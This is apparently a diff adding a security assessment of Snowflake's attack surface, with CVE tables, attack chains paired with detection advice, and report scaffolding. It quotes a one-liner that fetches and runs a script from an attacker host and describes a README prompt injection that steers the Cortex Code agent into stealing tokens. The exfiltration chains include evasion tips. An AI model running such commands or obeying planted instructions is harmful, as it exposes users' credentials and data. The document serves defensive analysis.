+# Snowflake Platform Attack Surface — 2026
+
+## Overview
+
+Snowflake is a multi-cloud data warehouse and AI platform with a federated
+identity model, an extensive driver/connector ecosystem, an in-product agentic
+AI stack (Cortex), an installable application model (Native Apps + Marketplace),
+and a container runtime (Snowpark Container Services). The platform's attack
+surface differs from a traditional database in three important ways:
+
+1. **Identity is multi-tenant and federated.** A Snowflake tenant typically
+   trusts an external IdP (Okta, Entra ID, PingFederate, Auth0) for human users
+   and uses key-pair or OAuth for service principals. Stolen credentials and
+   federated-IdP abuse are the dominant initial-access vectors observed in the
+   wild.
+2. **Execution primitives live inside the warehouse.** Stored procedures,
+   Python/JavaScript/Scala UDFs, Tasks (scheduled jobs), Streams, External
+   Functions, and (since 2025) container services let an attacker run code
+   inside the customer's Snowflake account. The "shell" of the platform is SQL,
+   but the underlying compute can call out to AWS Lambda, Azure Functions,
+   Google Cloud Run, or arbitrary container images.
+3. **AI is a first-class attack surface.** Cortex Code, Cortex Analyst, Cortex
+   Search, Cortex Agents, and Document AI take untrusted text in (user prompts,
+   documents, search results, MCP tool output) and produce trusted action out
+   (SQL execution, file modification, command-line tool calls). The
+   prompt-injection trust boundary is now an authorization boundary.
+
+This document accompanies the published web report at
+[`reports/snowflake-platform-assessment/`](../../reports/snowflake-platform-assessment/)
+and is the sibling deliverable to
+[`reports/databricks-apps-assessment/`](../../reports/databricks-apps-assessment/),
+covering a different platform with different controls. Findings are based on
+public CVE data, vendor documentation, public incident retrospectives, and
+extensions of tooling already in this repository. The web report is the
+audience-facing artifact; this document is the analytical companion intended
+for security engineering and detection-engineering readers.
+

+
+## Threat Landscape
+
+### UNC5537 (May–June 2024) — The Foundational Incident
+
+UNC5537 is a financially motivated cluster tracked by Mandiant that
+systematically compromised Snowflake customer tenants throughout May–June 2024
+using credentials harvested from infostealer logs going back as far as 2020.
+Mandiant and Snowflake notified a large cohort of affected customer
+organizations, including AT&T, Ticketmaster/Live Nation, Santander,
+LendingTree, Advance Auto Parts, Neiman Marcus, and Bausch Health.
+
+Mandiant attributed the success of the campaign to three control gaps that were
+universally present at the victim accounts:
+
+| Control gap | Why it mattered |
+|-------------|-----------------|
+| No MFA on the compromised user | The credential alone was sufficient to authenticate. At the time, Snowflake did not require MFA by default. |
+| Credentials not rotated | Many credentials harvested from 2020-era infostealer logs still worked in 2024. |
+| No network policy | Logins were accepted from any source IP, including infostealer-operator infrastructure. |
+
+UNC5537 used a custom reconnaissance utility named FROSTBITE (described by
+Mandiant as performing SQL recon — listing users, roles, current IP, session
+metadata, and organization name) and then issued `SELECT ... INTO @stage` and
+external-stage `COPY` commands to exfiltrate bulk data to attacker-controlled
+S3/Azure storage.
+
+### Snowflake's Response (July 2024 – April 2025)
+
+- **July 2024**: Account administrators can now enforce mandatory MFA across an
+  account; previously MFA was opt-in per user.
+- **October 2024**: MFA is enforced by default for human users on all newly
+  created Snowflake accounts.
+- **April 2025**: Single-factor password sign-ins for human users are blocked;
+  any human authenticating with only a password is forced through MFA.
+- **2025**: Trust Center GA. Trust Center's "Security Essentials" scanner pack
+  flags users without MFA, accounts without a network policy, and over-privileged
+  service users.
+- **2025**: Snowflake strongly recommends a network policy on every key-pair
+  authentication user, and on service users in general.
+
+The post-UNC5537 control surface is materially stronger than what was deployed
+in 2024 — but adoption is uneven, and the controls are not retroactive. An
+assessment in 2026 must measure customer adoption of these controls, not
+Snowflake's documented defaults.
+
+### Other Notable Patterns
+
+- **Infostealer-to-SaaS pipeline**: The Snowflake breach proved that
+  infostealer logs are a viable initial-access channel into enterprise SaaS,
+  not just consumer accounts. The same pipeline applies to any SaaS that
+  accepts password + (optional MFA) authentication.
+- **Federated-IdP compromise**: Where Snowflake delegates auth to Okta or
+  Entra, the IdP becomes the soft target. This shifts the assessment frame
+  toward [Golden SAML](../methodology/ad-cs-attack-modeling.md), token
+  audience confusion, and SCIM-provisioning abuse.

+
+### High and Medium Severity (Snowflake-Owned Components)
+
+| CVE | Component | CVSS | Notes |
+|-----|-----------|------|-------|
+| CVE-2026-6442 | Cortex Code CLI | 8.3 H | Improper validation of shell commands → sandbox escape and arbitrary code execution. The Cortex Code agent could be steered via indirect prompt injection (e.g., a malicious README) into running `wget | sh`-style commands with the user's cached Snowflake tokens. Fixed in Cortex Code CLI 1.0.25 (2026-02-28); disclosed by PromptArmor. |
+| CVE-2025-24789 | Snowflake JDBC | 7.8 H | Privilege escalation via untrusted search-path / writeable PATH directory on Windows. |
+| CVE-2023-30535 | Snowflake JDBC | 7.3 H | Command injection via a malicious SSO server response — the JDBC driver passed an SSO URL to a local browser launcher without sanitization. |
+| CVE-2023-34232 | Snowflake Connector (Node.js) | 7.3 H | Same class of bug in the Node connector — browser-launch command injection through SSO redirect. |
+| CVE-2024-43382 | Snowflake JDBC | 5.9 M | Client-side encryption silently disabled on PUT uploads when a specific config combination was used — data uploaded to external stages was unencrypted client-side despite configuration intent. |
+| CVE-2025-24791 | Snowflake Connector (Python) | 4.4 M | Temporary credential cache file written with permissive permissions on Linux — local user could read another user's cached token. |
+| CVE-2026-3293 | Snowflake JDBC | 3.3 L | Inefficient regex in proxy route handler (ReDoS). |
+| CVE-2025-27496 | Snowflake JDBC | 3.3 L | Client-side encryption master key written to debug logs during GET/PUT. |
+| CVE-2025-46326 | .NET Connector | 3.3 L | TOCTOU race in logging-config validation on Linux/macOS. |
+| CVE-2025-46327 | Go connector (gosnowflake) | 3.3 L | TOCTOU in logging-config (same class). |
+| CVE-2025-46328 | Node.js Connector | 3.3 L | TOCTOU in logging-config (same class). |
+| CVE-2025-46329 | C/C++ Connector | 3.3 L | Master key written to debug logs (same class as CVE-2025-27496). |
+| CVE-2025-46330 | C/C++ Connector | 3.3 L | Malformed retry logic causes process hang (availability). |
+| CVE-2022-42965 | Snowflake Connector | 3.3 L | ReDoS in the file-transfer type method. Republished in 2026. |
+| CVE-2024-28851 | Hive MetaStore Connector | 4.0 M | Elevation of privilege via content replacement in a helper script. |
+
+### Bundled Streamlit CVEs
+
+Streamlit is owned by Snowflake; vulnerabilities in Streamlit affect both
+Streamlit-in-Snowflake apps and any standalone Streamlit deployment.
+
+| CVE | CVSS | Notes |
+|-----|------|-------|
+| CVE-2026-33682 | 4.7 M | SSRF on Windows via malicious UNC paths. |
+| CVE-2022-35918 | 6.5 M | Directory traversal via custom components. |
+| CVE-2023-27494 | 5.9 M | Reflected XSS via URL parameter handling. |
+
+### Transitive / Dependency-Driven CVEs Patched in Drivers
+
+These are not direct Snowflake bugs but were addressed via driver releases —
+useful to surface because they show the dependency burden of the connector
+stack and are often discoverable through SBOM scanning:
+
+- CVE-2025-8916 / CVE-2025-8885 — BouncyCastle, surfaced via JDBC driver.
+- CVE-2025-58057 — grpc-java transient dep.
+- CVE-2025-59419 / CVE-2025-58056 / CVE-2025-3823 — Netty, surfaced via JDBC.
+
+### What the CVEs Tell Us About the Connector Stack
+
+A pattern across the 2025 connector cohort: **the connectors leak secrets to
+debug logs** (master keys, cached tokens) and **trust their local filesystem
+context** (PATH on Windows, world-readable cache files on Linux, TOCTOU on
+config). Any host that runs a Snowflake driver in production is a higher-value
+post-exploitation target than the CVSS scores alone suggest — they are
+positioned to hold valid credentials and ingest debug log files in routine
+operations.
+
+### CVE Coverage of the Server Side
+
+Notably absent from the public CVE record: vulnerabilities in the Snowflake
+service itself. Snowflake operates a closed multi-tenant SaaS; service-side
+issues are remediated server-side and rarely receive CVEs. The Native Apps
+"CVE policy" page commits providers to remediate CVEs in their own apps but
+does not enumerate any. Server-side issues that *have* surfaced publicly —
+the Cortex Code sandbox-escape (CVE-2026-6442 is on the CLI, but the
+underlying behavior is service-mediated) — typically show up via a CVE on the
+client component because that's where the patching happens.
+
+---
+
+## Platform Attack Surface
+
+### Authentication and Identity
+
+| Mechanism | Status | Attack Surface |
+|-----------|--------|----------------|
+| Password (single-factor) | Blocked for humans as of April 2025 | Legacy service users may still allow it; attacker reconnaissance should test |
+| Password + MFA | Default for humans | MFA fatigue, push bombing, Duo cache replay — same surface as any MFA-protected SaaS |
+| Key-pair (RSA) | Common for service users | Private key in `~/.snowsql/`, in CI runners, in airflow/dbt configs — these are exfil targets |
+| OAuth (Snowflake-native) | For tool integrations | OAuth client secret exfil; refresh-token replay; consent-phishing |
+| External OAuth (Entra/Okta/Ping) | Federation for end users | Token audience confusion, Golden SAML on IdP side; relevant tooling: [`tools/cloud-identity/golden-saml/`](../../tools/cloud-identity/golden-saml/) |
+| SCIM provisioning | Okta/Entra → Snowflake user/role sync | SCIM token theft, race-condition privilege escalation, group-grant manipulation |
+| SAML SSO | For end users | Standard SAML assertion abuse; classic Golden SAML applies |
+| Programmatic Access Tokens (PATs) | New as of 2024/2025 | Long-lived bearer tokens; scope discovery; rotation gaps |
+
+**Key-pair authentication** deserves explicit callout: it is the
+recommended authentication for service users, *and* Snowflake's own
+guidance says key-pair users without network policies are the highest-risk
+configuration. An assessment should walk every dbt/airflow/CI host and check
+whether the private key is encrypted at rest, who can read it, and whether
+the corresponding Snowflake user has a network policy.
+
+### Cortex AI — The New Crown Jewel Surface
+
+Snowflake has positioned Cortex as the agentic control plane for the data
+warehouse. The relevant components:
+
+- **Cortex Code** — a CLI agent (similar in shape to Claude Code or Cursor)
+  that operates against a developer's local filesystem, can run shell
+  commands, and holds cached Snowflake tokens. Subject of CVE-2026-6442.
+- **Cortex Analyst** — text-to-SQL with access to a curated semantic model.
+  The semantic model defines what tables it can query and how columns map to
+  business concepts. Prompt injection from an indirectly-fetched data source
+  (a row in a table, an MCP tool result, a Cortex Search hit) can steer the
+  generated SQL.
+- **Cortex Search** — embedding-based search over a customer's data. Result
+  poisoning is a primary concern: any document the customer indexed that
+  contains an indirect prompt injection becomes a payload delivery channel
+  to downstream Cortex Analyst / Cortex Agents flows that consume search
+  results as context.
+- **Cortex Agents** — orchestrates Cortex Analyst + Cortex Search + tool calls
+  (including MCP). Inherits all of the indirect-prompt-injection trust issues
+  of its constituent components and amplifies them via tool use.
+- **Document AI** — extracts structured fields from documents. Injection
+  payloads can be embedded in OCR'd PDFs, image metadata, or invisible text;
+  they then flow into downstream Cortex pipelines as "structured data" with
+  the trust level of any other table column.
+- **Cortex AI Guardrails** (Horizon Catalog) — Snowflake's first-party
+  prompt-injection / jailbreak filter, GA in early 2026. It is policy-driven
+  and centralizes detection — but it is not a complete defense and customer
+  adoption is what matters.
+
+**Vendor governance model.** Per Snowflake's
+[security governance practices for Snowflake Intelligence](https://www.snowflake.com/en/blog/security-governance-practices-snowflake-intelligence/),
+the defense-in-depth stack consists of: connection layer (with
+`ALLOWED_INTERFACES` for segregated access), Horizon Catalog (the primary
+governance plane, providing classification/tagging, column- and row-level
+security, masking, tokenization), the Agent API, the Cortex tool
+orchestration layer, and the final response. Two-tier access control gates
+which models a user/role can invoke: an account-level allowlist plus
+role-level grants via `CORTEX_USER` and `CORTEX_EMBED_USER`. Cortex AI
+Guardrails (Horizon Catalog) is the first-party prompt-injection / jailbreak
+filter and also includes leaked-password screening and malicious-IP
+filtering. **Cortex Analyst is constrained to SELECT queries** — but this
+does not stop an Agent that wraps Analyst together with a stored procedure
+or UDF that performs DML.
+
+Snowflake's strongest stated guarantee is: *"neither agents nor Snowflake
+Intelligence can perform any action beyond the logged-in user's permissions."*
+The CVE-2026-6442 chain is the counterexample by design: the attacker is
+running *as* the user, so "the user's permissions" *is* the threat surface,
+not the boundary.
+
+One under-discussed governance fact: Cortex final-response generation
+**reaches out of the Snowflake boundary** to Anthropic or Azure-OpenAI
+models. Snowflake does not publicly detail what payload is sent or what the
+retention policy is at those providers. From a red-team perspective this is
+a side-channel worth probing in a scope where the customer treats Snowflake
+data as "in their boundary."
+
+**The CVE-2026-6442 / PromptArmor disclosure is the canonical chain**:
+
+1. Cortex Code is given a "review this repo" task.
+2. The repo's README contains an indirect prompt injection.
+3. Cortex Code interprets the injection as a user instruction and runs
+   `cat < <(sh < <(wget -qO- https://attacker/bugbot))` — Snowflake's command
+   validator did not block this construction.
+4. The fetched script reads the user's cached Snowflake authentication tokens
+   from disk and uses them to issue SQL: `SELECT *` exfil, `DROP TABLE`,
+   `CREATE USER`, `ALTER NETWORK POLICY` (lockout).
+5. Fixed in Cortex Code CLI 1.0.25 (2026-02-28).
+
+The pattern generalizes: **any Cortex surface that accepts data the customer
+did not author is a prompt-injection entry point**, and **any Cortex surface
+that holds delegated Snowflake credentials is a code-execution amplifier**.
+This is precisely the EchoLeak / ShareLeak shape we already model for M365
+Copilot in [`tools/llm-attacks/m365-copilot/`](../../tools/llm-attacks/m365-copilot/).
+
+### Native Apps and Marketplace
+
+Snowflake Native Apps are installable applications distributed via the
+Snowflake Marketplace. They install into a *consumer's* Snowflake account and
+can include:
+
+- SQL objects (tables, views, procedures, UDFs)
+- Streamlit-in-Snowflake apps
+- Snowpark Container Services workloads (containerized backends)
+- Required cloud-provider integrations (storage, external functions)
+
+The trust boundary is *Provider account → Consumer account*, mediated by
+Snowflake's listing-review process. Per Snowflake's own
+[Native Apps security overview](https://docs.snowflake.com/en/developer-guide/native-apps/security-overview)
+and the [Native Apps security blog post](https://www.snowflake.com/en/blog/snowflake-native-apps-security/):
+
+- All apps run through the **Native App Anti-Abuse Pipeline Service
+  (NAAAPS)** — an automated scan on every new app version or patch — which
+  checks "for bugs, anti-patterns, and security vulnerabilities," for
+  "malware," and for "vulnerabilities in app dependencies." Output is
+  auto-approval or manual review.
+- Apps with containers additionally require **Snowflake Product Security
+  team approval** before public or private listing.
+- A three-criterion CVE evaluation gate applies (NVD-confirmed fix exists,
+  high-integrity CVSS impact, EPSS ≥ 10%).
+- The CVE-remediation responsibility lies with the *provider*, not Snowflake.
+- Python packages used by Native Apps are gated through a Snowflake/Anaconda-
+  curated set with security scanning.
+
+**Snowflake's stated threat model for Native Apps** is explicit. The vendor
+names four categories the security review pipeline is designed to catch:
+
+| Threat | Vendor statement |
+|--------|------------------|
+| Data exfiltration | "Malicious apps could copy consumer data to external functions or logs." |
+| Compute abuse | "Apps could perform unauthorized tasks, such as cryptomining, at the consumer's expense." |
+| Ransomware | "Apps could encrypt or corrupt consumer data, demanding payment for restoration." |
+| Privilege escalation | "Apps could attempt to gain unauthorized permissions within the consumer's account." |
+
+What the documentation does **not** provide is *positive* assurance: there
+is no statement of "an app cannot do X" with technical isolation backing.
+The defense is review, not sandbox. An assessment should treat NAAAPS as
+analogous to Apple App Store review or Chrome Web Store review — a strong
+deterrent against trivially-malicious code, but not a complete authorization
+boundary.
+
+The vendor *does* make a strong **provider-code-protection** claim: provider
+SQL objects (procedures, views) are not directly readable by the consumer
+even though the consumer can execute them. This protects provider IP. The
+inverse statement — that consumer data is protected from a malicious
+provider — is asserted via the four-threat-category review rather than by
+runtime isolation primitives.
+
+**Threat-modeling implications**:
+
+- A compromised provider account is a supply-chain compromise vector against
+  every consumer that has installed (or auto-updates) the listed app. This
+  is the closest cousin to [Shai-Hulud](../../tools/supply-chain/shai-hulud/)
+  in the npm ecosystem; NAAAPS is the marketplace-side gate that can catch
+  the worst payloads but is not a defense against a sophisticated, slow,
+  staged supply-chain attack.
+- Native Apps can request `READ` or `MODIFY` privileges on consumer schemas;
+  the consent UI is the only control between an installer and a wide-scope
+  data read.
+- Apps that include SPCS backends can be granted egress allowances ("EXTERNAL
+  ACCESS INTEGRATION") that, if over-broad, become a sanctioned exfil channel.
+- Update channel: when a consumer enables auto-update, the provider can push
+  code into the consumer account without re-consent — and NAAAPS is the only
+  gate on the new version. Compare with browser extension auto-update
+  (covered in
+  [`docs/methodology/browser-extension-supply-chain.md`](../methodology/browser-extension-supply-chain.md)).
+
+### Streamlit-in-Snowflake
+
+Streamlit apps that run *inside* a Snowflake account inherit the account's
+identity and can issue SQL against any object the running user can access.
+
+- Streamlit CVEs that affect standalone Streamlit (XSS, traversal, SSRF)
+  apply to the in-Snowflake variant too — they were the same codebase.
+- The cross-page state model and `streamlit_javascript` / `streamlit_extras`
+  ecosystem are JS-execution channels.
+- A Streamlit app shipped inside a Native App is a hybrid: it inherits Native
+  App privileges *and* Streamlit's web-app trust boundaries.
+
+### Snowpark Container Services (SPCS)
+
+SPCS provides container hosting inside Snowflake — primarily for serving
+custom models, hosting web services that need persistent state, and running
+non-SQL workloads alongside the warehouse.
+
+Vendor stance: strict network isolation by default, controlled ingress/egress,
+container image scanning during the review pipeline. Customer-managed
+EXTERNAL ACCESS INTEGRATIONS punch holes through the isolation.
+
+Threat surface to probe in an assessment:
+
+- Service-spec misconfiguration: an EXTERNAL ACCESS INTEGRATION that allows
+  egress to `*.amazonaws.com` is wide enough to be an exfil channel.
+- Container image provenance: an untrusted base image in a customer-built
+  SPCS service is a supply-chain risk equivalent to running that image in
+  the customer's own EKS cluster.
+- Compute-pool privileges: a service running in a shared compute pool with
+  an over-privileged role assigned to it can issue SQL against the
+  warehouse with that role's grants.
+
+### External Functions and Storage Integrations
+
+External Functions let Snowflake SQL call out to AWS API Gateway, Azure API
+Management, or Google Cloud Run. Storage Integrations let Snowflake assume
+an IAM role in the customer's cloud account to read/write S3, GCS, or
+Azure Blob.
+
+Both are *outbound trust* paths from Snowflake into the customer's cloud
+estate. Threat model:
+
+- Over-broad IAM roles bound to a Snowflake Storage Integration are the
+  primary cross-cloud pivot from a compromised Snowflake user. A read-write
+  role on `arn:aws:s3:::company-*` exfiltrates everything in the company
+  S3 namespace; we already model this class in
+  [`tools/cloud-identity/wif/`](../../tools/cloud-identity/wif/).
+- External Functions backed by an overly-permissive Lambda can be coerced
+  by a Snowflake user to run with the Lambda's role — privilege escalation
+  out of Snowflake into AWS.
+- Tag-based access policies on Storage Integrations are a customer-side
+  control that is often missing in real deployments.
+
+### Data Sharing and Replication
+
+Snowflake's secure data sharing model (Listings, Direct Shares, Reader
+Accounts) and Cross-Region / Cross-Cloud replication are powerful but
+introduce trust paths that are not always visible to security teams:
+
+- **Direct Shares**: A privileged user can `CREATE SHARE` and grant a
+  consumer account read access to a database. There is no per-share approval
+  workflow by default; detection requires watching
+  `SNOWFLAKE.ACCOUNT_USAGE.SHARES` for new entries.
+- **Reader Accounts**: A provider-controlled tenant the provider creates
+  for a consumer without their own Snowflake contract. Misconfigured reader
+  accounts can become unmanaged-tenant exfil destinations.
+- **Replication groups**: An attacker with `REPLICATIONADMIN` can stage a
+  replication group to a destination account they control; this is a bulk
+  exfil path that bypasses query-level audit.
+
+### Execution Primitives (Where Code Actually Runs)
+
+| Primitive | Runs as | Code language | Notes |
+|-----------|---------|---------------|-------|
+| Stored procedure | Owner or caller, per declaration | SQL, JS, Python, Scala, Java | Owner-rights procedures are a classic privilege-escalation primitive |
+| UDF | Owner or caller | SQL, JS, Python | Python UDFs run in a sandboxed worker with no network by default |
+| Task | Owner | Calls SQL / procedures | Scheduled execution = persistence; new Tasks should always be reviewed |
+| External Function | Customer cloud | Anything | Exfil channel; review API Gateway / Lambda IAM |
+| Streamlit app | App-installer role | Python (Streamlit subset) | Inherits installer privileges |
+| SPCS service | Service-bound role | Anything (container) | EXTERNAL ACCESS INTEGRATION is the trust boundary |
+
+The recurring theme: **owner-rights execution + persistent scheduling
+(Tasks) + a privileged role = a Snowflake-native persistence implant**.
+The detection equivalent of looking for new scheduled tasks on a Windows
+host is `SHOW TASKS IN ACCOUNT` plus a diff against a baseline.
+
+---
+
+## Attack Chains
+
+### Chain A — Credential Theft to Bulk Exfil (Replays UNC5537)
+
+1. Initial access via infostealer log credential (or AiTM-captured cookie for a
+   federated user, using the [Tycoon2FA-class kits](../../tools/phishing/aitm-kits/)).
+2. Validate the credential via `SnowSQL` or the Snowflake REST API; check for
+   absence of MFA and absence of network policy.
+3. Reconnaissance: enumerate accessible databases, schemas, and the user's
+   default and secondary roles. Identify which warehouses the role can run on
+   and which roles have `IMPORTED PRIVILEGES` on `SNOWFLAKE.ACCOUNT_USAGE`.
+4. Bulk exfil: `COPY INTO <attacker_stage>` against high-value tables. The
+   external stage points at attacker-controlled S3.
+5. Coverage: `ALTER SESSION SET QUERY_TAG = '<harmless looking tag>'`,
+   schedule exfil at low-traffic hours, prefer wide-aggregate queries over
+   per-row queries to evade row-level audit triggers.
+
+**Detection counterpart**: anomalous `COPY INTO <external_stage>` volume,
+new external stage created in the last 24h, `SHOW NETWORK POLICIES` returns
+nothing for a key-pair user.
+
+### Chain B — Cortex Code Indirect Injection to Cred Theft
+
+1. Plant a public repo (GitHub Pages / npm / pypi) with a `README.md` that
+   contains the prompt-injection payload.
+2. Wait for a Cortex Code user to "review" or "summarize" the repo.
+3. CVE-2026-6442 (pre-1.0.25) lets the injected instructions run a shell
+   command on the developer's workstation.
+4. The shell command reads the cached Snowflake tokens from the user's home
+   directory and exfiltrates them.
+5. Attacker now has a Snowflake session with the developer's identity —
+   often a privileged engineering or data-eng role.
+
+**Detection counterpart**: `Cortex Code CLI version < 1.0.25`,
+unusual outbound HTTP from a developer host shortly after a Cortex Code
+session, new Snowflake sessions originating from an IP outside the developer's
+historic range.
+
+### Chain C — Native App Marketplace Supply-Chain
+
+1. Attacker compromises a Marketplace provider account (credential phish or
+   GitHub-Actions-OIDC pivot per
+   [`docs/methodology/ci-cd-attack-modeling.md`](../methodology/ci-cd-attack-modeling.md)).
+2. Push a new version of the listed Native App with a malicious post-install
+   script or a UDF that exfiltrates on first invocation.
+3. Consumers with auto-update enabled receive the update without re-consent.
+4. Each consumer execution exfils data through an EXTERNAL ACCESS INTEGRATION
+   that the original Native App was already authorized for.
+
+**Detection counterpart**: monitor `SNOWFLAKE.ACCOUNT_USAGE.APPLICATIONS`
+for version bumps, compare manifest hashes between versions, alert on new
+external integrations requested by a previously-installed app.
+
+### Chain D — Federated-IdP Compromise to Snowflake
+
+1. Compromise Entra ID or Okta tenant — Golden SAML, token-signing key theft,
+   service principal abuse (covered in
+   [`docs/analysis/entra-2026-state-of-play.md`](entra-2026-state-of-play.md)).
+2. Forge a SAML assertion / OIDC token for a high-privileged Snowflake user
+   (ACCOUNTADMIN, SECURITYADMIN, or a role with `IMPORTED PRIVILEGES`).
+3. Authenticate to Snowflake via the federated path. Network policies that
+   gate the IdP-issued path may differ from those gating direct-password
+   logins; this is where the gap usually is.
+4. Proceed as in Chain A from step 3.
+
+**Detection counterpart**: SAML assertions issued without a corresponding
+sign-in event on the IdP, Snowflake logins where `LOGIN_HISTORY.AUTHENTICATION_METHOD`
+shows `SAML` for a user that should be using key-pair, geographic anomaly on
+the federated leg.
+
+### Chain E — External Function / Storage Integration Cross-Cloud Pivot
+
+1. Compromise a Snowflake user with `OWNERSHIP` or `USAGE` on a Storage
+   Integration that binds to an AWS IAM role.
+2. Create an external stage on the integration pointing at any bucket the IAM
+   role can reach — including buckets outside the original intent.
+3. List, read, and exfil bucket contents. If the IAM role has `s3:PutObject`,
+   plant attacker-controlled data inside the customer's bucket (useful for
+   downstream supply-chain attacks against pipelines that consume from that
+   bucket).
+4. If an External Function is bound to a Lambda with a permissive trust
+   policy, invoke the Lambda to enumerate the cloud account from its
+   perspective — IAM, KMS, Secrets Manager — and stage a deeper pivot.
+
+**Detection counterpart**: `SNOWFLAKE.ACCOUNT_USAGE.STAGES` shows a new
+external stage on an integration that is not on the integration's expected
+bucket allowlist; AWS CloudTrail shows Snowflake's role accessing buckets
+outside the documented data-pipeline patterns.

+
+### Gaps Worth Filling
+
+Things this assessment will surface that the current repo does not directly
+cover:
+
+- **Key-pair credential abuse**: ingest a private key from a CI runner or
+  airflow container, sign a JWT, and authenticate as the service user. The
+  closest analog is OAuth client-credential abuse — but key-pair is its own
+  channel with distinct detection.
+- **Programmatic Access Tokens (PATs)**: discovery, scope enumeration,
+  rotation gaps. The PAT model is new enough that there is little public
+  red-team material.
+- **SCIM-provisioning abuse**: race conditions during group sync; SCIM token
+  theft from the IdP side. Touches both `cloud-identity/` and (for the
+  on-disk SCIM token) post-exploitation.
+- **Snowflake-side persistence**: Tasks + owner-rights procedures + UDFs as
+  long-lived implants. Detection requires Snowflake-native telemetry, not
+  endpoint EDR.
+- **Snowflake Trail and Account Usage forensics**: which questions can a
+  detection engineer answer with the audit surface as-shipped, and where
+  are the blind spots (DML against non-tracked views, query history retention,
+  cross-region replication of audit data).
+
+---
+
+## Detection Surface Notes
+
+Primary detection sources, in roughly the order a detection engineer would
+build a Snowflake program:
+
+1. **`SNOWFLAKE.ACCOUNT_USAGE.LOGIN_HISTORY`** — authentication outcomes,
+   client app, IP, MFA factor. The first port of call for credential abuse.
+   Note the latency: ACCOUNT_USAGE views can be up to ~45 minutes behind.
+2. **`SNOWFLAKE.ACCOUNT_USAGE.QUERY_HISTORY`** — every SQL statement, including
+   the text. Watch for `COPY INTO @<external_stage>`, `CREATE SHARE`, `ALTER USER`,
+   `CREATE NETWORK POLICY`, `CREATE TASK`, `CREATE PROCEDURE ... EXECUTE AS OWNER`.
+3. **`SNOWFLAKE.ACCOUNT_USAGE.STAGES` / `SHARES` / `INTEGRATIONS`** — object
+   inventory. Diff against a baseline to find new exfil channels.
+4. **`SNOWFLAKE.ACCOUNT_USAGE.SESSIONS`** — pair with LOGIN_HISTORY to track
+   session lifetimes.
+5. **Snowflake Trail** — newer audit surface, lower latency than Account
+   Usage; some events that don't show up in ACCOUNT_USAGE are visible here.
+6. **Cortex AI audit events** — usage logs for Cortex Code, Analyst, Search,
+   Agents. Crucial for prompt-injection detection: looking for the *content*
+   of inbound context, not just the outbound action.
+7. **Trust Center scanner output** — built-in misconfiguration detection;
+   should be tuned and consumed by the SOC, not just admins.
+
+Blind spots worth being explicit about:
+
+- ACCOUNT_USAGE latency makes it unsuitable for real-time response; pair
+  with Snowflake Trail or with streaming-ingest of `INFORMATION_SCHEMA`
+  views.
+- Query text in `QUERY_HISTORY` is plain SQL but does not capture
+  *bind parameter* values for prepared statements — an attacker who issues
+  parameterized DML has lower-fidelity audit than one issuing inline DML.
+- Cross-region replication of audit data is not automatic; an attacker who
+  triggers a region-specific exfil and then deletes their own session may
+  leave forensics in a region the customer doesn't routinely query.
+
+---
+
+## Out of Scope and Known Limits
+
+What this assessment does **not** characterize, and why:
+
+- **Server-side Snowflake service vulnerabilities.** Multi-tenant SaaS issues
+  are remediated server-side and rarely receive CVEs; the Snowflake Trust
+  Center and platform security bulletins are the authoritative signal for
+  service-side posture.
+- **Cortex Guardrails false-positive / false-negative rate.** Cortex
+  Guardrails (Horizon Catalog) is referenced as a detection layer, but the
+  detection-quality characteristics on a corpus of public indirect-prompt-
+  injection payloads are not empirically measured here.
+- **SPCS egress-filter depth.** SPCS network isolation is referenced; this
+  assessment does not characterize whether egress inspection is DNS-only,
+  SNI, or full L7 — service-spec misconfiguration is the modeled threat,
+  not bypass of the inspection itself.
+- **Snowflake Trail vs. ACCOUNT_USAGE event coverage diff.** Both audit
+  surfaces are referenced for detection design; a precise field-by-field
+  mapping is a follow-on effort.

+# Snowflake Platform — Security Assessment
+
+Companion deliverable to
+[`reports/databricks-apps-assessment/`](../databricks-apps-assessment/) covering
+the Snowflake data cloud platform. Working notes are in
+[`docs/analysis/snowflake-platform-attack-surface-2026.md`](../../docs/analysis/snowflake-platform-attack-surface-2026.md).
+
+Unlike the Databricks report (a concatenated Streamlit app), this is a set of
+**linked static HTML pages** with no build step. Edit the pages directly; the
+CI pipeline copies the directory as-is.
+
+## Pages
+
+| File | Content |
+|------|---------|
+| `index.html` | Executive summary, key findings, scope |
+| `threat-landscape.html` | UNC5537 incident analysis, post-2024 hardening, 2026 threat actor profiles |

+
+## Adding a new page
+
+1. Create `<name>.html` — copy the boilerplate from any existing page
+   (head, `<aside class="nav">` sidebar, footer, **and** the
+   `<script>` at the bottom that toggles `.active` on the matching nav link).
+2. Add an `<a href="<name>.html">Title</a>` entry to the nav in **every** page.
+3. CI (`ci/check_snowflake_report_integrity.py`) verifies that all pages share
+   an identical nav block and that every internal `href` resolves to a sibling
+   file — the build will fail if you miss one. Run it locally with:
+
+   ```bash
+   python3 ci/check_snowflake_report_integrity.py
+   ```
+
+4. Style updates: prefer adding a class to `assets/style.css` over inlining
+   `style="..."` attributes — the column-width utilities (`col-w8`,
+   `col-w12`, `col-w20`, `col-w30`, `col-w35`, `col-w40`) are already defined
+   and used across pages.

+
+      <h2>Scope and threat-model assumptions</h2>
+      <h3>In scope</h3>
+      <ul>
+        <li>Snowflake authentication and identity (password, MFA, key-pair, OAuth, SAML, SCIM, PATs).</li>
+        <li>Cortex AI surface — Code, Analyst, Search, Agents, Document AI — including MCP tool integrations.</li>
+        <li>Native Apps and the Marketplace consumer / provider trust boundary.</li>
+        <li>Snowpark Container Services and Streamlit-in-Snowflake.</li>
+        <li>External Functions and Storage Integrations as outbound trust paths into customer cloud accounts.</li>
+        <li>Data Sharing primitives: Direct Shares, Replication Groups, Reader Accounts.</li>
+        <li>Execution primitives: stored procedures, UDFs, Tasks.</li>
+        <li>Detection surface: <code>ACCOUNT_USAGE</code>, Snowflake Trail, Trust Center, Cortex AI audit events.</li>
+      </ul>
+
+      <h3>Out of scope and known limits</h3>
+      <ul>
+        <li><strong>Server-side Snowflake service vulnerabilities.</strong> Multi-tenant SaaS issues are remediated server-side and rarely receive CVEs. The Trust Center and platform security bulletins are the authoritative signal for service-side posture.</li>
+        <li><strong>Cortex Guardrails detection-quality characterization.</strong> Guardrails is referenced as a detection layer; this assessment does not empirically measure its false-positive / false-negative rate on a corpus of public indirect-prompt-injection payloads.</li>
+        <li><strong>SPCS egress-filter depth.</strong> Service-spec misconfiguration is the modeled threat (Chain H); this report does not characterize whether the egress inspection layer is DNS-only, SNI, or full L7.</li>
+        <li><strong>Snowflake Trail vs. ACCOUNT_USAGE event-coverage diff.</strong> Both audit surfaces are referenced; a precise field-by-field mapping is a follow-on effort.</li>
